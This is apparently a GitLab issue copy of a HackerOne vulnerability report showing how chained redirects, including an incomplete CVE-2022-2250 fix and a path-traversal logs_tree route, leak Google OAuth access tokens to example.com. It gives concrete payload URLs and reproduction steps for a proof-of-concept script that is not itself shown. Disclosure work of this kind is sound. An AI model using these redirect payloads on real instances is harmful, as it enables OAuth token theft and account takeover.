Skip to content

Chaining multiple redirects allow an attacker to exfiltrate the access token of OAuth providers

HackerOne report #1725190 by ryotak on 2022-10-07, assigned to @cmaxim:

Report | Attachments | How To Reproduce

Report

Summary

Due to the incomplete fix for CVE-2022-2250, an attacker is still able to redirect users to redirect to the arbitrary domain.
This can be used to exfiltrate the access tokens for third-party login providers.

Description
Open redirect

The patch for CVE-2022-2250 fixed the vulnerability by removing duplicated slashes from the decoded path.

lib/gitlab/jira/dvcs.rb line 41-42

          # Replace multiple slashes with single ones to make sure the redirect stays on the same host  
          project.gsub(ENCODED_SLASH, SLASH).gsub(%r{\/{2,}}, '/')  

However, due to the fact some routes append a slash in front of the decoded project path, an attacker is still able to redirect users into the unintended domain.

config/routes/project.rb line 679-695

    get 'commit/:id', constraints: { id: /\h{7,40}/ }, to: redirect { |params, req|  
      project_full_path = ::Gitlab::Jira::Dvcs.restore_full_path(  
        namespace: params[:namespace_id],  
        project: params[:project_id]  
      )

      "/#{project_full_path}/commit/#{params[:id]}"  
    }

    get 'tree/*id', as: nil, to: redirect { |params, req|  
      project_full_path = ::Gitlab::Jira::Dvcs.restore_full_path(  
        namespace: params[:namespace_id],  
        project: params[:project_id]  
      )

      "/#{project_full_path}/-/tree/#{params[:id]}"  
    }  

For example, the following URL redirects users to https://example.com/-/tree/a: https://gitlab.com/gitlab-org/[@]example.com/tree/a

Same-site redirect

While this is an interesting bug, the open redirect itself is a pretty low severity bug, and I had to find another redirect to make this vulnerability severe.

After investigating the routes of GitLab for a bit, I found an endpoint that can be used to redirect users to the same domain.

config/routes/repository_deprecated.rb line 20-22

  get '/refs/:id/logs_tree/*path',  
    to: redirect('%{namespace_id}/%{project_id}/-/refs/%{id}/logs_tree/%{path}'),  
    constraints: { id: /.*/, path: /[^\0]*/ }  

Since it's not validating the *path of the request, the following URL will redirect users to https://gitlab.com/ry0tak2/test/-/refs/aaaa/logs_tree/../../../../../, which is then parsed as https://gitlab.com/ry0tak2/ by the browser: https://gitlab.com/ry0tak2/test/refs/aaaa/logs_tree/..%2F..%2F..%2F..%2F..%2F

Storing the payload into the redirect URL of the login page

While these redirects can't be used to exfiltrate access tokens directly, another redirect is possible from the /users/sign_in endpoint.

As the /refs/:id/logs_tree/*path redirects users only if the repository exists, it's possible to control whether redirect users or not.
By using this behavior, it's possible to store the open redirect payload, which only works after logging into GitLab, into the return URL of the login page.

Passing the access token as a URL fragment

Since these redirects will remove the query parameter, we need to find a way to use the URL fragment.
Luckily, most OAuth providers support the response_type=token during the OAuth flow, which will pass the access tokens over the URL fragments.

By combining these things, it's now possible to send access tokens of OAuth providers to unintended websites.

Steps to reproduce

(These steps to reproduce assumes that you're using gitlab.com. If you're using a self-hosted instance, you may need to change the domain.)

Prepare accounts
  1. Prepare 2 GitLab accounts. (One is the attacker, and the other is the victim.)
  2. Prepare a Google account.
  3. In the victim's account, connect the Google accounts from https://gitlab.com/-/profile/account.
  4. In the attacker's account, create a personal access token with an api scope from https://gitlab.com/-/profile/personal_access_tokens.
Prepare the script
  1. Download poc.py
  2. Open it with the text editor, and replace REPLACE_GITLAB_PAT_HERE with the personal access token that you created in step 4.
  3. Install the requests library if you haven't installed it already: pip install requests
  4. Run it: python3 poc.py
Reproduce

(These steps depend on the internet speed, if your network takes more than 3 seconds to load GitLab, please edit SLEEP_SECONDS of poc.py.)

  1. Before starting, make sure you're logged into only one Google account, which you prepared in step 2 of the Prepare accounts section.
  2. Open http://localhost:8080
  3. Click Logout from GitLab if you're currently logged into GitLab.
  4. Click Sign in with GitLab.
  5. Once the login page loads, log in to your GitLab account with email and password.
  6. Confirm that the access token of a Google account has been sent to example.com.
Explanation of steps to reproduce

The poc.py do the following things under the hood:

  1. Once the user clicked the Sign in with GitLab, open Google's OAuth endpoint in the new window. And Google will redirect users to https://gitlab.com/users/auth/google_oauth/callback, and then it will redirect users to https://gitlab.com/user/sign_in with the access token in the URL fragment.
  2. At the same time, poc.py will redirect the current window to https://gitlab.com/GITLAB_USERNAME/RANDOM_REPO_NAME/refs/aaaa/logs_tree/..%2F..%2F..%2F..%2F..%2F@example.com/tree/a. Since the user isn't logged in, and the repository doesn't exist, GitLab will store the redirect URL into the session as-is.
  3. Once step 2 is completed, poc.py will send a request to GitLab API and create a repository named RANDOM_REPO_NAME.
  4. After step 3, when the user logs into the GitLab, it'll automatically redirect users to https://gitlab.com/GITLAB_USERNAME/RANDOM_REPO_NAME/refs/aaaa/logs_tree/..%2F..%2F..%2F..%2F..%2F@example.com/tree/a, and this endpoint will redirect users to https://gitlab.com/GITLAB_USERNAME/RANDOM_REPO_NAME/-/refs/aaaa/logs_tree/../../../../../[@]example.com/tree/a, which will be parsed as the following by the browser: https://gitlab.com/GITLAB_USERNAME/[@]example.com/tree/a.
  5. Since GitLab has an open redirect vulnerability, the user will be redirected to example.com, along with the access token.
What is the current bug behavior?

The user is redirected to the unintended domain after the login, along with the access token of the Google account.

What is the expected correct behavior?

The user shouldn't be redirected to the unintended domain.

Output of checks

This bug happens on GitLab.com

Results of GitLab environment info
System information  
System:         Ubuntu 20.04  
Proxy:          no  
Current User:   git  
Using RVM:      no  
Ruby Version:   2.7.5p203  
Gem Version:    3.1.6  
Bundler Version:2.3.15  
Rake Version:   13.0.6  
Redis Version:  6.2.7  
Sidekiq Version:6.4.2  
Go Version:     unknown

GitLab information  
Version:        15.4.1-ee  
Revision:       7b2ed8f038f  
Directory:      /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:     PostgreSQL  
DB Version:     13.6  
URL:            https://gl.ryotak.me  
HTTP Clone URL: https://gl.ryotak.me/some-group/some-project.git  
SSH Clone URL:  git@gl.ryotak.me:some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:        14.10.0  
Repository storage paths:  
- default:      /var/opt/gitlab/git-data/repositories  
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell  
Impact

An attacker can exfiltrate the access token of OAuth providers with user interactions.
Since these access tokens are used to identify the user, an attacker can take over the account by using it.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Edited by Costel Maxim